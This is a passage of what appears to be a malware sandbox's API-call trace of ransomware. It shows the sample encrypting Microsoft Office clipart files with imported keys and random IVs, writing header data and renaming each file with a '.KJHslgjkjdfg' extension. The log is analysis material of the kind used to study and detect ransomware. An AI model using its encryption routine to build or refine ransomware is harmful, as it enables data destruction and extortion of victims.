dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.326] GetProcessHeap () returned 0x2ef0000 [0234.326] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.326] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.327] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0234.329] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.329] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.329] GetProcessHeap () returned 0x2ef0000 [0234.329] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.329] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.329] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.329] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.329] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.329] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.329] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.330] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.330] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.330] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.330] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3642, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3642, lpOverlapped=0x0) returned 1 [0234.331] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3650, dwBufLen=0x3650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3650) returned 1 [0234.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.331] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3650, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3650, lpOverlapped=0x0) returned 1 [0234.331] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.331] SetEndOfFile (hFile=0x130) returned 1 [0234.335] GetProcessHeap () returned 0x2ef0000 [0234.335] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.335] GetProcessHeap () returned 0x2ef0000 [0234.335] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.kjhslgjkjdfg")) returned 1 [0234.336] CloseHandle (hObject=0x130) returned 1 [0234.336] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf553ff00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf553ff00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x476e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00257_.WMF", cAlternateFileName="")) returned 1 [0234.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.352] GetProcessHeap () returned 0x2ef0000 [0234.352] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.352] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.352] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0234.366] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.366] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.366] GetProcessHeap () returned 0x2ef0000 [0234.366] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.366] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.366] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.366] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.366] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.367] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.367] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.367] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.367] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.367] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.367] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x476e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x476e, lpOverlapped=0x0) returned 1 [0234.370] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4770, dwBufLen=0x4770 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4770) returned 1 [0234.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.371] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4770, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4770, lpOverlapped=0x0) returned 1 [0234.371] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.371] SetEndOfFile (hFile=0x130) returned 1 [0234.374] GetProcessHeap () returned 0x2ef0000 [0234.374] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.374] GetProcessHeap () returned 0x2ef0000 [0234.374] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.kjhslgjkjdfg")) returned 1 [0234.376] CloseHandle (hObject=0x130) returned 1 [0234.376] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c6d00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f7c6d00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00289_.WMF", cAlternateFileName="")) returned 1 [0234.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.378] GetProcessHeap () returned 0x2ef0000 [0234.378] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.378] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.378] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.378] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.378] GetProcessHeap () returned 0x2ef0000 [0234.378] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.378] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.378] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.378] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.381] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.381] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.382] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.382] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.382] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.382] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.382] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd8e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd8e0, lpOverlapped=0x0) returned 1 [0234.384] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd8e0, dwBufLen=0xd8e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd8e0) returned 1 [0234.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.385] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd8e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd8e0, lpOverlapped=0x0) returned 1 [0234.385] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.385] SetEndOfFile (hFile=0x130) returned 1 [0234.389] GetProcessHeap () returned 0x2ef0000 [0234.389] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.389] GetProcessHeap () returned 0x2ef0000 [0234.389] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.kjhslgjkjdfg")) returned 1 [0234.391] CloseHandle (hObject=0x130) returned 1 [0234.391] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba531a00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba531a00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00299_.WMF", cAlternateFileName="")) returned 1 [0234.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.392] GetProcessHeap () returned 0x2ef0000 [0234.392] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.392] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.392] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.394] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.394] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.394] GetProcessHeap () returned 0x2ef0000 [0234.395] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0234.395] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0234.395] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.395] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0234.395] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0234.395] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0234.395] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0234.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0234.395] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0234.395] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.395] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.396] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10cb8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x10cb8, lpOverlapped=0x0) returned 1 [0234.397] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10cc0, dwBufLen=0x10cc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10cc0) returned 1 [0234.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.398] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10cc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x10cc0, lpOverlapped=0x0) returned 1 [0234.398] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0234.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.399] SetEndOfFile (hFile=0x130) returned 1 [0234.402] GetProcessHeap () returned 0x2ef0000 [0234.402] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0234.402] GetProcessHeap () returned 0x2ef0000 [0234.402] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0234.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.kjhslgjkjdfg")) returned 1 [0234.404] CloseHandle (hObject=0x130) returned 1 [0234.404] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d82d600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d82d600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00305_.WMF", cAlternateFileName="")) returned 1 [0234.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0234.407] GetProcessHeap () returned 0x2ef0000 [0234.407] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0234.407] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0234.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0234.407] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0234.410] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0234.410] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0234.410] GetProcessHeap () returned 0x2ef0000 [0234.410] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 